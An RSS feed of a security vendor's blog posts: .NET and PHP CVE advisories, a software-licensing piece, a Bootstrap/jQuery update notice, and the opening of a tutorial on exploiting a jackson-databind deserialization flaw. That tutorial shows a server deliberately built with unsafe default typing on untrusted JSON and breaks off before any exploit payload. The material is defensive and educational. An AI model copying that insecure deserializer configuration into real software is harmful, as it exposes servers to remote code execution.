<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Bruno Bossola</title>
    <description>The latest articles on DEV Community by Bruno Bossola (@bbossola).</description>
    <link>https://dev.to/bbossola</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F110625%2F29715cb5-c8bf-4d97-b5fb-ba94a4d20900.jpg</url>
      <title>DEV Community: Bruno Bossola</title>
      <link>https://dev.to/bbossola</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bbossola"/>
    <language>en</language>
    <item>
      <title>Attention! New .NET Vulnerabilities</title>
      <dc:creator>Bruno Bossola</dc:creator>
      <pubDate>Mon, 17 Feb 2020 13:11:16 +0000</pubDate>
      <link>https://dev.to/bbossola/attention-new-net-vulnerabilities-1o4k</link>
      <guid>https://dev.to/bbossola/attention-new-net-vulnerabilities-1o4k</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QD9miXJp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zh6tqn6q9tm40ik6ctg2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QD9miXJp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zh6tqn6q9tm40ik6ctg2.jpg" alt="open backdoor in a dark room"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Greetings App Sec community! Meterian is back with some .NET vulnerabilities which need some attention. Both these vulnerabilities are of a medium to high threat nature, so make sure to give this a read, it’ll be worth your while. The first case deals with a cross-site scripting vulnerability, whilst the second can cause a core denial of service issue. Don’t let hackers use this as a backdoor to your systems and networks. Stay protected people!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.meterian.com/#CVE-2019-1301"&gt;CVE-2019-1301:&lt;/a&gt;&lt;/strong&gt; .NET Core suffers from a denial of service vulnerability when it improperly handles web requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.meterian.com/CVE-2019-12562"&gt;CVE-2019-12562:&lt;/a&gt;&lt;/strong&gt; There is stored cross-site scripting vulnerability in DotNetNuke (DNN) versions before 9.4.0, allowing attackers to store and embed malicious script into the administration notification page.&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2019-1301
&lt;/h2&gt;

&lt;p&gt;Vulnerability Score: 7.5/HIGH&lt;/p&gt;

&lt;p&gt;Platform: .NET&lt;/p&gt;

&lt;p&gt;Components: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nuget.org/packages/Microsoft.NetCore.App"&gt;.NET Core / Microsoft.NetCore.App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nuget.org/packages/System.Net.Sockets"&gt;System.Net.Sockets&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Affected Versions: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;.NET Core  / Microsoft.NetCore.App: 2.1.0-2.1.12 or 2.2.0-2.2.6&lt;/li&gt;
&lt;li&gt;System.Net.Sockets: 4.3.0&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first .NET vulnerability we bring to your urgent attention is a denial of service vulnerability which occurs when .NET Core improperly handles web requests. The affected versions are in any .NET Core based application running on .NET Core 2.1.0 to 2.1.12 or 2.2.0 to 2.2.6, and System.Net.Sockets 4.3.0. This is regarded as a high threat to security and should be tended to immediately.&lt;/p&gt;

&lt;p&gt;How can you confirm if your .NET application is affected? Run the dotnet –info command to see the list of the versions you have installed. You will then see output as shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--67HsmWEu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h0kv1k62iyb7dlaxsted.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--67HsmWEu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h0kv1k62iyb7dlaxsted.png" alt="line of code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dotnet/announcements/issues/121"&gt;https://github.com/dotnet/announcements/issues/121&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you see that you have a version of .NET Core which is less than 2.1.13 or less than 2.2.7, then unfortunately you are vulnerable. The same applies if you are using the meta-package “Microsoft.NETCore.App”, with the same version range. Please note that this also applies to the package System.Net.Sockets version 4.3.0.&lt;/p&gt;

&lt;p&gt;What is .NET Core? It is an open source, development platform which is maintained by Microsoft and the .NET community on GitHub. It can be used to build device, cloud and IoT applications. &lt;/p&gt;

&lt;p&gt;Why is this vulnerability such a threat? Firstly, the attacker who is successful in the exploit of this vulnerability would use the denial of service against the .NET Core web application. Not only can this vulnerability be exploited remotely, but also without authentication of the user-cum-attacker. A denial of service attack (DoS) is focused on making a resource unavailable for the purpose of its design. The unavailability of a resource can come in many forms: manipulating network packets, programming, logical or resource handling vulnerabilities. Sometimes the attacker may execute arbitrary code to access critical information or execute commands on the server. Generally, this type of attack would cause response delays, large-scale losses, interruption to services and therefore an impact on availability. &lt;/p&gt;

&lt;p&gt;So how can you fix this issue? It is recommended to install the latest version of .NET Core but it depends on the versions which you have already installed. You may need to update if you have either version 2.1 (upgrade at least to 2.1.13) or 2.2 (upgrade at least to 2.2.7). If you are using the meta-package, upgrade the meta-package following the same version numbering. Also, if you are using System.Net.Sockets, please upgrade to version 4.3.1&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2019-12562
&lt;/h2&gt;

&lt;p&gt;Vulnerability Score: 6.1/MEDIUM&lt;/p&gt;

&lt;p&gt;Platform: .NET&lt;/p&gt;

&lt;p&gt;Component: &lt;a href="https://www.dnnsoftware.com/community-blog/cid/134777/what-is-a-dotnetnuke-module"&gt;DotNetNuke&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Affected Versions: up to 9.4.0&lt;/p&gt;

&lt;p&gt;You read right.  DotNetNuke (DNN) has a cross-site scripting vulnerability before versions 9.4.0 which is allowing remote attackers to store and embed malicious script into the admin notification page. The success of this exploit occurs when an admin user visits a notification page with stored cross-site scripting. &lt;/p&gt;

&lt;p&gt;A little information on DNN. First of all, it is a program that runs on Microsoft ASP.NET. It is also a framework, meaning it is a program designed to be extended. When you install DNN it can allow the creation of thousands of individual portals. These portals can then display pages and the pages display modules. More importantly, DNN is an open source web content management system meaning many businesses around the world rely on it for organisational purposes. &lt;a href="https://en.wikipedia.org/wiki/DNN_(software)"&gt;DNNSoftware.com has over 1million registered members since 2013 and is used on nearly 750,000 websites globally.&lt;/a&gt; This might illuminate how many people could be affected by this vulnerability and why this needs urgent attention to avoid getting hacked.&lt;/p&gt;

&lt;p&gt;The severity of this vulnerability is emphasised through the fact that stored cross site-scripting is the most dangerous type of cross-site scripting. The exploit could be used to perform any action that has administrator privileges. This includes: managing content, adding users, uploading backdoors to the server and more. &lt;/p&gt;

&lt;p&gt;Once this vulnerability had been detected it was reported to the DNN Software Security Department who have fixed the problem and released a patch. Users should update to the latest version 9.4.0 of DNN to avoid any security holes within their systems and networks. &lt;/p&gt;

&lt;p&gt;That is it from us…for now! Make sure to spread the word on these .NET vulnerabilities in order to help protect your apps or the apps you develop. But as you all know, open-source vulnerabilities are &lt;a href="https://www.cvedetails.com/browse-by-date.php"&gt;discovered daily&lt;/a&gt;, so you can expect us to be back with new vulnerabilities very soon!&lt;/p&gt;

&lt;p&gt;Knowing is half the battle. The other half is doing. Let Meterian help your dev team stay in the know and on top of the latest updates to secure your apps continuously.  &lt;a href="https://www.meterian.io/the_client.html#try-now"&gt;Sign up here to download the Meterian client today.&lt;/a&gt;  You’ll get an instant analysis of your first project for free.  See the risks immediately and know which components to remove or upgrade to secure your app.&lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>opensource</category>
      <category>vulnerability</category>
      <category>report</category>
    </item>
    <item>
      <title>Vulnerability Focus: PHP</title>
      <dc:creator>Bruno Bossola</dc:creator>
      <pubDate>Fri, 31 Jan 2020 16:34:47 +0000</pubDate>
      <link>https://dev.to/bbossola/vulnerability-focus-php-3703</link>
      <guid>https://dev.to/bbossola/vulnerability-focus-php-3703</guid>
      <description>&lt;p&gt;I'd like to share a few of the curated PHP vulnerabilities recently been reported. They focus on the Laravel and Bagisto frameworks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zZpLocDq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blogmeterian.files.wordpress.com/2019/10/vulnsfocus-php2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zZpLocDq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blogmeterian.files.wordpress.com/2019/10/vulnsfocus-php2.png" alt="Image of thief climbing out of laptop shining flashlight on PHP icon, titled Vulnerability Focus: PHP."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a href="https://blog.meterian.com/2019/10/01/vulnerability-focus-php/#CVE-2019-9081"&gt;&lt;strong&gt;CVE-2019-9081&lt;/strong&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Score:&lt;/strong&gt; Critical––9.8 (CVSS v3.0)&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; PHP&lt;br&gt;
&lt;strong&gt;Component:&lt;/strong&gt; laravel/laravel&lt;br&gt;
&lt;strong&gt;Affected versions:&lt;/strong&gt; 5.7.0 – 5.7.27&lt;/p&gt;

&lt;p&gt;Attention to all PHP programmers! Read up, this is important stuff. On the 24/02/19, a vulnerability was found in the Illuminate component of Laravel Framework 5.7.x., a PHP development framework based on PHP 7.1.3. The severity of the threat is understood when seeing that 107,933 live websites use Laravel. It is also said to be the most popular web app category in the United Kingdom. This demonstrates the scale of potentially affected users, and why action needs to be taken quickly to avoid security flaws. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--m7hAQk3e--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blogmeterian.files.wordpress.com/2019/10/laravel-usage-statistics.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--m7hAQk3e--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blogmeterian.files.wordpress.com/2019/10/laravel-usage-statistics.png" alt="A graph depicting the rise in Laravel Usage Statistics.The statistics range from the years 2013-2019."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The vulnerability is related to the __destruct method of the PendingCommand class in PendingCommand.php. It is a deserialization RCE (Remote Code Execution) vulnerability originating from a laravel core package and has shown to be triggered as long as the deserialized content is controllable. The access vector was through the network.&lt;/p&gt;

&lt;p&gt;So what is the threat? In regards to CWE-502, when developers place restrictions on ‘gadget chains’ and method invocations that can self-execute during the deserialization process, this can allow attackers to leverage them to make unauthorized actions. For example, generating a shell. Manipulation with an unknown input leads to a privilege escalation vulnerability (code execution). Therefore, this vulnerability could have a negative impact on confidentiality, integrity and availability. Even worse, an attack can be initiated remotely with no form of authentication needed for exploitation. &lt;/p&gt;

&lt;p&gt;It is suggested to upgrade the laravel framework to version 5.7.27 or higher as soon as possible. So don’t waste any time! Or risk being vulnerable to potential cyber attacks!&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a href="https://blog.meterian.com/2019/10/01/vulnerability-focus-php/#CVE-2019-14933"&gt;&lt;strong&gt;CVE-2019-14933&lt;/strong&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Score:&lt;/strong&gt; High — 8.8 (CVSS v3.0)&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; PHP&lt;br&gt;
&lt;strong&gt;Component:&lt;/strong&gt; bagisto&lt;br&gt;
&lt;strong&gt;Affected versions:&lt;/strong&gt; 0.1.5&lt;/p&gt;

&lt;p&gt;Bagisto is a tailored e-commerce framework designed on some of the hottest open-source technologies such as Laravel, a PHP framework.  It cuts down on the resources needed to deploy an e-commerce platform (i.e. building online stores or migrating from physical stores). &lt;/p&gt;

&lt;p&gt;Alas, we regret to be the bearer of bad news. Version 0.1.5 of Bagisto has been found to contain a cross-site request forgery (CSRF) vulnerability which could result in client side manipulation that forces end users to execute unwarranted commands on a web application for which they are currently authenticated.  It should be noted that this compromised version allows for CSRF attacks under certain conditions, such as admin Uniform Resource Identifiers (URIs).  This CSRF vulnerability manipulates authenticated users’ browsers to send forged HTTP requests, including cookie sessions to exposed web applications. &lt;/p&gt;

&lt;p&gt;Here is some background information on the nature of CSRF attacks. Unlike remote code execution or command injection attacks, CSRF attacks specifically target state-changing requests as opposed to misappropriation of restricted data. Nonetheless, unauthorised state-changing requests can be equally bad; with the help of social engineering tactics (i.e. sending unwarranted links via email or chat support), attackers may trick end users into executing unsanctioned commands of the attackers’ choice. A successful CSRF attack could lead to vexing situations whereby attackers coerce end users into performing fund transfers, email address changes, and so forth. Furthermore, CSRF attacks can go as far as compromising entire web application systems upon gaining access to an administrator account.&lt;/p&gt;

&lt;p&gt;In this context, hackers can trick end users by sending requests (i.e phishing emails) to lure them to open and display some apparently innocuous content in a new tab on the browser, which in turn, prompts it to execute the hidden malicious script, than can operate on behalf of the user.&lt;/p&gt;

&lt;p&gt;This is a graphic illustrating the play-by-plat on how attackers can exploit the vulnerability to perform CSRF and remove important functionalities, which could lead to denial of services and loss of data on an e-commerce platform.&lt;br&gt;
How attackers can exploit Bagisto open-source vulnerability&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bbiI-J3n--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blogmeterian.files.wordpress.com/2019/10/bagisto.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bbiI-J3n--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blogmeterian.files.wordpress.com/2019/10/bagisto.png" alt="This is a graphic illustrating the play-by-plat on how attackers can exploit the vulnerability to perform CSRF and remove important functionalities, which could lead to denial of services and loss of data on an e-commerce platform."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The graphic above illustrates the play-by-play on how attackers can exploit this vulnerability to perform CSRF and remove important functionalities, which could lead to denial of services and loss of data on an e-commerce platform. &lt;/p&gt;

&lt;p&gt;In Step 1, the user first logs into the Bagisto admin page panel and subsequently  accesses a seemingly innocuous website on another tab in the user’s browser. This website contains a malignant script (placed by the hacker), and the action of accessing this tab will lead to Step 3 where the script will be executed; the browser is instructed by said script to perform any possible harmful action on behalf of the user in Step 3. This course of user action culminates in Step 4 with the server executing the requested malicious actions, such as deleting data on the admin panel.&lt;/p&gt;

&lt;p&gt;Nonetheless, affected users will be glad to know that all versions of Bagisto following v0.1.5 are untouched by this CSRF vulnerability. So, there you have it – update your application to the latest version of the Bagisto framework at the soonest to avoid further exposure!&lt;/p&gt;

&lt;p&gt;Spread the word on these vulnerabilities and their fixes to help us improve application security all-around. In any case, you can certainly expect more engaging reads on PHP in the near future. Until then!&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Get involved!&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Knowing is half the battle, the other is doing.&lt;/p&gt;

&lt;p&gt;Have you already fixed your code to avoid such vulnerabilities?&lt;br&gt;
Please like this article if you found it useful. &lt;/p&gt;

&lt;p&gt;If you have open-source projects on GitHub, you can try our free project  &lt;a href="https://www.meterian.io/webscanner.html"&gt;&lt;strong&gt;scanner.&lt;/strong&gt;&lt;/a&gt; To use it daily for your project, drop us a line at &lt;a href="mailto:marketing@meterian.com"&gt;marketing@meterian.com&lt;/a&gt;.  We'd love to hear about your open-source project.&lt;/p&gt;

&lt;p&gt;For private code projects on any source code repository, give your project a spin on &lt;a href="https://meterian.com/the_client.html#try-now"&gt;&lt;strong&gt;Meterian&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>php</category>
      <category>vulnerability</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>The secret sauce of software licenses: it may be bitter.</title>
      <dc:creator>Bruno Bossola</dc:creator>
      <pubDate>Tue, 21 May 2019 10:00:09 +0000</pubDate>
      <link>https://dev.to/bbossola/the-secret-sauce-of-software-licenses-it-may-be-bitter-55g1</link>
      <guid>https://dev.to/bbossola/the-secret-sauce-of-software-licenses-it-may-be-bitter-55g1</guid>
      <description>&lt;h3&gt;
  
  
  Friendly disclaimer.
&lt;/h3&gt;

&lt;p&gt;First and foremost, let me immediately start saying that this article is not legal advice, but it's my attempt to explain in a simple way the problems connected to software licensing: in case of emergency, call a lawyer :)&lt;/p&gt;

&lt;h3&gt;
  
  
  The problem.
&lt;/h3&gt;

&lt;p&gt;Many people think that because you can download a piece of software without paying a fee it means that such software is free. But if something is freely available, it does not mean that the same thing is free to use. Some development teams have the expectation that, when including a software component in their own customised system, it simply becomes “part of it” inheriting their licensing model: this is simply not true.&lt;/p&gt;

&lt;p&gt;Imagine, for example, that you are building a new revolutionary car, all electric, and self-driving! You will need a lot of software to make that happen, and certainly, you do not want to code everything from scratch. So you start first assembling some basic components, an operating system (Linux), some basic tools (BusyBox), some software from other vendors and then you finally write your magic code. Sounds familiar? Anybody said “Tesla” in the audience? And what happens when a competitor discovers that you are using open source software with a certain license (GPL) and asks you to provide them with your code, the valuable code you wrote... well, they can lawfully do so and you will have to comply! And so that's what happened, and forced Tesla to start releasing its software on public repositories. But please, without leaving the car making business, see also BMW who handed over its i3 car code to a random guy, who immediately published it on GitHub.&lt;/p&gt;

&lt;h3&gt;
  
  
  The restrictions.
&lt;/h3&gt;

&lt;p&gt;It's important to understand the restrictions you face when you decide to use an opensource component. Even one single component with the wrong license can impose a restriction on all your source code.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;em&gt;you may be forced to release your code under the same license&lt;/em&gt;. If you use a component licensed for example under GPL or AGPL (or even LGPL in case of derivative work), all your software will have to be released with the same license.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;you may be forced to release to the public your source code&lt;/em&gt;. If you use a component licensed for example under MPL or GPL, you will have to provide all your code in a human-readable format upon request (distribution of obfuscated code is not compliant).&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;you may not be allowed to distribute your software commercially&lt;/em&gt;. Licenses like the Oracle BCLA will prevent that, and you can easily be sued (and you will most certainly lose).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;But wait, what about the code that does not have any license? For sure I can use it without problems, right? And the answer is again a resounding no! Under current law, copyright extends for the life of the author plus 70 years (and sometimes 120 years after its creation), and the creator (or his/her dynasty) can simply sue you for using it. Unless a piece of code includes a license, do not use it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The risks.
&lt;/h3&gt;

&lt;p&gt;If you decide to not comply with a license, or you are simply unaware of the problem (this would be the most common case) you face two main risks.&lt;/p&gt;

&lt;p&gt;First, you are in actual violation of contractual obligations. This can lead to a long case in court that, if you are lucky, you settle outside court, with money transferred. There are a lot of examples of that, with payment that go up to $100K (please see an incomplete list here), so I really think you should not discount this risk, also because in some cases, firms preferred to file for bankruptcy in order to avoid bigger losses.&lt;/p&gt;

&lt;p&gt;Second, you may be in violation of statutory law, a corporate liability that may become also a personal liability. Corporate Criminal Responsibility derived from copyright crimes can also be extended to labour law, in case it can be demonstrated that the responsible was not carrying out his duties properly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Solutions.
&lt;/h3&gt;

&lt;p&gt;First and foremost you need to be aware of the problem. If you read this article until this point, you now probably are, so we can safely assume you are onboard with this point.&lt;/p&gt;

&lt;p&gt;Now, assuming your company is building software, you need to make sure that all components your development team is using, and end up being part of the final product, are accounted for in terms of licensing. Remember: one single component in your chain can influence the whole system.&lt;/p&gt;

&lt;p&gt;You will need then to create policies to allow/disallow certain licenses to be used and enforce them across your development teams. The best solution would be an automated one, which automatically detects violations and blocks unwanted releases.&lt;/p&gt;

&lt;h3&gt;
  
  
  Meterian to the rescue!
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.meterian.io/"&gt;Meterian&lt;/a&gt;, among others, provides an elegant mitigation for this problem, which is also affordable and efficient. By placing Meterian in your development pipeline you can have continuous reporting about the licenses used by your software so that you can make sure you are not exposed to the risks explained before. Please have a look to one of our reports.&lt;/p&gt;

&lt;p&gt;When &lt;a href="https://www.meterian.io/"&gt;Meterian&lt;/a&gt; is included in your development pipeline, policies can also be enforced so that the presence of certain licenses will stop the build to progress further, preventing the product to be shipped to the final customers.&lt;/p&gt;

&lt;p&gt;Make sure to get in touch if you want to learn more!    &lt;/p&gt;

</description>
      <category>beginners</category>
      <category>opensource</category>
      <category>security</category>
    </item>
    <item>
      <title>Time to update Bootstrap and JQuery!</title>
      <dc:creator>Bruno Bossola</dc:creator>
      <pubDate>Wed, 08 May 2019 18:15:13 +0000</pubDate>
      <link>https://dev.to/bbossola/time-to-update-bootstrap-and-jquery-1kh</link>
      <guid>https://dev.to/bbossola/time-to-update-bootstrap-and-jquery-1kh</guid>
      <description>&lt;p&gt;&lt;strong&gt;Bootstrap&lt;/strong&gt;&lt;br&gt;
Bootstrap v4.3.1 and v3.4.1 &lt;a href="https://blog.getbootstrap.com/2019/02/13/bootstrap-4-3-1-and-3-4-1/"&gt;are out and available&lt;/a&gt; to patch an XSS vulnerability, &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8331"&gt;CVE-2019-8331&lt;/a&gt;. For any users of the legacy 3.3.7, this will fix also other three XSS issues, namely &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14040"&gt;CVE-2018-14040&lt;/a&gt;, &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14041"&gt;CVE-2018-14041&lt;/a&gt; and &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14042"&gt;CVE-2018-14042&lt;/a&gt;. Bootstrap now include a JavaScript sanitizer that will only allow whitelisted HTML elements in the data attribute of an element.&lt;/p&gt;

&lt;p&gt;It's available through all the channels: as &lt;a href="https://www.npmjs.com/package/bootstrap"&gt;NPM package&lt;/a&gt;, &lt;a href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/js/bootstrap.min.js"&gt;via CDNs&lt;/a&gt; and for old fashioned guys also as a &lt;a href="https://github.com/twbs/bootstrap/releases/tag/v3.4.1"&gt;direct download from Github&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JQuery&lt;/strong&gt;&lt;br&gt;
Also, please do not forget JQuery! Versions prior to 3.4.0 are susceptible to prototype pollution attack (see &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11358"&gt;CVE-2019-11358&lt;/a&gt;): even if the attack is quite complicated, it's advisable to upgrade any web app that uses jQuery code for its frontend.&lt;/p&gt;

&lt;p&gt;You can find it as &lt;a href="https://www.npmjs.com/package/jquery"&gt;NPM package&lt;/a&gt; or &lt;a href="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/js/jquery.min.js"&gt;via CDNs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusions?&lt;/strong&gt;&lt;br&gt;
You do not have any excuses now: upgrade now!&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>javascript</category>
      <category>vulnerabilities</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Execute Java code on a remote server using JSON</title>
      <dc:creator>Bruno Bossola</dc:creator>
      <pubDate>Tue, 07 May 2019 13:55:55 +0000</pubDate>
      <link>https://dev.to/bbossola/execute-java-code-on-a-remote-server-using-json-2nod</link>
      <guid>https://dev.to/bbossola/execute-java-code-on-a-remote-server-using-json-2nod</guid>
      <description>&lt;p&gt;&lt;strong&gt;Abstract.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;How difficult is to exploit a vulnerability in a common Java library in order to remotely execute Java code on a remote server and successfully taking control over it? Not much, really. In this article, we will demonstrate how to do that using &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-7525"&gt;CVE-2017-7525&lt;/a&gt;, a well-known vulnerability in &lt;a href="https://github.com/FasterXML/jackson-databind/issues/1599"&gt;jackson-databind&lt;/a&gt;, a widely used library to serialize and deserialize JSON, also part of the &lt;a href="https://github.com/spring-projects/spring-boot"&gt;spring-boot&lt;/a&gt; stack. All the code used here is &lt;a href="https://github.com/bbossola/vulnerability-java-samples"&gt;available on GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The sample code.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;As we all know, the task of serializing and deserializing JSON messages is a very common task, especially in modern microservices REST-based applications: almost every time an API is called, a JSON message is sent to the server, to be transformed in a Java object. Because of &lt;a href="https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"&gt;a stream of deserialization vulnerabilities&lt;/a&gt; in jackson-databind it's now possible to write simple exploits in order to get access to unpatched servers when &lt;a href="https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization"&gt;polymorphic type handling&lt;/a&gt; is enabled.&lt;/p&gt;

&lt;p&gt;In order to clearly explain the concepts, we are introducing here a simple server that handles products with two REST APIs, one to get the list of the products and one to add a new product. Please note that this is just a sample: we just want to provide you with a simple and understandable piece of code, and by no means it can be classified (we hope!) as production code.&lt;/p&gt;

&lt;p&gt;A sample of our &lt;a href="https://github.com/bbossola/vulnerability-java-samples/blob/master/src/main/java/io/meterian/samples/jackson/Product.java"&gt;Product&lt;/a&gt; class, it holds some basic product information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class Product {

    private int id;
    private String name;
    private String description;
    private Object data; 

    protected Product() {
    }

    [...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Our &lt;a href="https://github.com/bbossola/vulnerability-java-samples/blob/master/src/main/java/io/meterian/samples/jackson/ProductsDatabase.java"&gt;ProductDatabase&lt;/a&gt; class, just a glorified HashMap&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class ProductsDatabase {

  private Map&amp;lt;String, Product&amp;gt; products = new HashMap&amp;lt;&amp;gt;();
  private AtomicInteger idGenerator = new AtomicInteger(0);

  public ProductsDatabase() {
     add(new Product(0,"apple", "Real apple from Italy", randomData()));
     add(new Product(0,"orange", "Real orange from Italy", randomData()));
     add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));
  }

  public Collection list() {
    return Collections.unmodifiableCollection(products.values());
  }

  public Product add(Product newProduct) {
    Integer newId = idGenerator.incrementAndGet();
    Product product = newProduct.duplicate(newId);
    products.put(newId.toString(), product);
    return product;
  }

  [...]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Our &lt;a href="https://github.com/bbossola/vulnerability-java-samples/blob/master/src/main/java/io/meterian/samples/jackson/Main.java"&gt;simple server&lt;/a&gt;, written with &lt;a href="http://sparkjava.com/"&gt;SparkJava&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class Main {

  private static ProductsDatabase products = new ProductsDatabase();
  private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
  private static ObjectMapper serializer = new ObjectMapper();

  public static void main(String[] args) {

    port(8888);

    // GET list all products
    get("/products", (request, response) -&amp;gt; {
      Collection res = products.list();
      return serializer.writeValueAsString(res);
    });

    // POST add new product
    post("/products", (request, response) -&amp;gt; {
      Product received = deserializer.readValue(request.body(), Product.class);
      products.add(received);
      response.status(201);
    });
  }
  [...]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;You can add a product to the database with a simple curl call with a JSON body containing the new product data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The exploit.&lt;/strong&gt;&lt;/p&gt;

